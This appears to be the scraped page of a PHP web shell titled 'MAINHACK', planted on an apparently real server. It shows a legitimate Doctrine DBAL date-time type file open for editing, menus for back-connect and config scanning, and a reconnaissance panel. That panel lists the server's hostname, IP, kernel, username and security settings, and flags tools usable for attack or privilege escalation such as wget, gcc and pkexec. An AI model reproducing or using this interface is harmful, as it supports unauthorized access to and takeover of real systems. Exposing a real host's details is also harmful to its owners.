[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DateTimeTzType.php
<?php declare(strict_types=1); namespace Doctrine\DBAL\Types; use DateTime; use Doctrine\DBAL\Platforms\AbstractPlatform; use Doctrine\DBAL\Types\Exception\InvalidFormat; use Doctrine\DBAL\Types\Exception\InvalidType; /** * DateTime type accepting additional information about timezone offsets. * * Caution: Databases are not necessarily experts at storing timezone related * data of dates. First, of not all the supported vendors support storing Timezone data, and some of * them only use the offset to calculate the timestamp in its default timezone (usually UTC) and persist * the value without the offset information. They even don't save the actual timezone names attached * to a DateTime instance (for example "Europe/Berlin" or "America/Montreal") but the current offset * of them related to UTC. That means, depending on daylight saving times or not, you may get different * offsets. * * This datatype makes only sense to use, if your application only needs to accept the timezone offset, * not the actual timezone that uses transitions. Otherwise your DateTime instance * attached with a timezone such as "Europe/Berlin" gets saved into the database with * the offset and re-created from persistence with only the offset, not the original timezone * attached. */ class DateTimeTzType extends Type implements PhpDateTimeMappingType { /** * {@inheritDoc} */ public function getSQLDeclaration(array $column, AbstractPlatform $platform): string { return $platform->getDateTimeTzTypeDeclarationSQL($column); } /** * @param T $value * * @return (T is null ? null : string) * * @template T */ public function convertToDatabaseValue(mixed $value, AbstractPlatform $platform): ?string { if ($value === null) { return $value; } if ($value instanceof DateTime) { return $value->format($platform->getDateTimeTzFormatString()); } throw InvalidType::new( $value, static::class, ['null', DateTime::class], ); } /** * @param T $value * * @return (T is null ? null : DateTime) * * @template T */ public function convertToPHPValue(mixed $value, AbstractPlatform $platform): ?DateTime { if ($value === null || $value instanceof DateTime) { return $value; } $dateTime = DateTime::createFromFormat($platform->getDateTimeTzFormatString(), $value); if ($dateTime !== false) { return $dateTime; } throw InvalidFormat::new( $value, static::class, $platform->getDateTimeTzFormatString(), ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002